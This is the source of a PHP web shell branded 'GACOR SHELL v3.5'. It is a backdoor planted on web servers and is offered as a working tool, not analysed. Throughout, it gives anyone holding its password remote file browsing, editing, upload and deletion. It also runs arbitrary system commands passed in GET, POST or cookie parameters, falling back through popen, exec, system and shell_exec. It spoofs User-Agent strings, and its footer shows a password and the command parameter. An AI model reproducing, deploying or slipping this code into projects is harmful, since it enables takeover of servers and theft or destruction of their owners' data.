🔐 SHELL

'; if ($login_error) echo '
'.$login_error.'
'; echo '
'; exit; } } // ====== LOGOUT ====== if (isset($_GET['logout'])) { session_destroy(); setcookie('gacor_auth', '', time() - 3600, '/'); header('Location: ?'); exit; } // ====== BASE DIRECTORY ====== $base = dirname(__FILE__); $dir = isset($_GET['d']) ? $_GET['d'] : ''; if ($dir === '') $dir = $base; @chdir($dir); $current = getcwd(); if (!$current) $current = $base; // ====== RANDOM UA ====== function random_ua() { $uas = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/119.0.0.0 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/121.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/121.0', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0', 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1', ]; return $uas[array_rand($uas)]; } $_SERVER['HTTP_USER_AGENT'] = random_ua(); // ====== HELPER FUNCTIONS ====== function _read($p) { if (!is_file($p)) return false; return file_get_contents($p); } function _write($p, $c) { return file_put_contents($p, $c) !== false; } function _exec($cmd) { $out = ''; if (function_exists('popen')) { $h = popen($cmd.' 2>&1', 'r'); while (!feof($h)) $out .= fread($h, 4096); pclose($h); return $out; } elseif (function_exists('exec')) { exec($cmd.' 2>&1', $o); return implode("\n", $o); } elseif (function_exists('system')) { ob_start(); system($cmd.' 2>&1'); return ob_get_clean(); } elseif (function_exists('shell_exec')) { return shell_exec($cmd.' 2>&1'); } else { return 'No exec function available'; } } // ====== ACTIONS ====== $msg = ''; if (isset($_GET['del'])) { $file = $_GET['del']; $path = $current.'/'.$file; if (is_dir($path)) { if (rmdir($path)) $msg = "🗑️ Deleted folder"; else $msg = "❌ Failed"; } else { if (unlink($path)) $msg = "🗑️ Deleted file"; else $msg = "❌ Failed"; } } if (isset($_POST['rn_old']) && isset($_POST['rn_new'])) { if (rename($current.'/'.$_POST['rn_old'], $current.'/'.$_POST['rn_new'])) { $msg = "✅ Renamed"; } else { $msg = "❌ Rename failed"; } } if (isset($_POST['mkd'])) { if (!empty($_POST['mkd']) && !file_exists($_POST['mkd'])) { if (mkdir($_POST['mkd'], 0755)) $msg = "✅ Folder created"; else $msg = "❌ Failed"; } else { $msg = "❌ Invalid name"; } } if (isset($_POST['mkf'])) { if (!empty($_POST['mkf']) && !file_exists($_POST['mkf'])) { if (_write($_POST['mkf'], '')) $msg = "✅ File created"; else $msg = "❌ Failed"; } else { $msg = "❌ Invalid name"; } } if (isset($_POST['ef']) && isset($_POST['ec'])) { if (_write($_POST['ef'], $_POST['ec'])) { $msg = "✅ Saved"; } else { $msg = "❌ Save failed"; } } if (isset($_FILES['uf'])) { $name = $_FILES['uf']['name']; $tmp = $_FILES['uf']['tmp_name']; if (move_uploaded_file($tmp, $name)) { $msg = "✅ Uploaded: $name"; } else { $msg = "❌ Upload failed"; } } // ====== COMMAND ====== $cmd_output = ''; $cmd_param = ['x', 'c', 'cmd', 'exec', 'command']; foreach ($cmd_param as $p) { if (isset($_GET[$p])) { $cmd = $_GET[$p]; break; } elseif (isset($_POST[$p])) { $cmd = $_POST[$p]; break; } elseif (isset($_COOKIE[$p])) { $cmd = $_COOKIE[$p]; break; } } if (isset($cmd)) { $cmd_output = _exec($cmd); setcookie('cmd', $cmd, time()+3600, '/'); } // ====== FILE LISTING ====== $folders = []; $files = []; $handle = @opendir($current); if ($handle) { while (($entry = readdir($handle)) !== false) { if ($entry == '.' || $entry == '..' || $entry == basename(__FILE__)) continue; if (is_dir($entry)) $folders[] = $entry; else $files[] = $entry; } closedir($handle); sort($folders); sort($files); } $doc_root = $_SERVER['DOCUMENT_ROOT'] ?? ''; $web_path = str_replace($doc_root, '', $current); $web_path = '/' . ltrim($web_path, '/'); // ====== EDIT MODE ====== $edit_content = ''; $edit_file = ''; if (isset($_GET['edit']) && file_exists($_GET['edit']) && is_file($_GET['edit'])) { $edit_file = $_GET['edit']; $edit_content = _read($edit_file); } ?> 📁 SHELL

📁 GACOR SHELL v3.5
🏠 🚪 Logout

📂 root/'; foreach ($parts as $p) { $path .= '/' . $p; echo ''.htmlspecialchars($p).'/'; } ?>
$msg
"; ?>

✏️ Edit:

❌ Cancel

📄 Files ()

1048576 ? round($size/1048576,2).' MB' : ($size > 1024 ? round($size/1024,2).' KB' : $size.' B'); ?>
NameSizeActions
📁 - 📝 🗑️
📄 📝 ✏️ 🗑️
Password: Er1K5 | Parameter: x=cmd | Cookie: cmd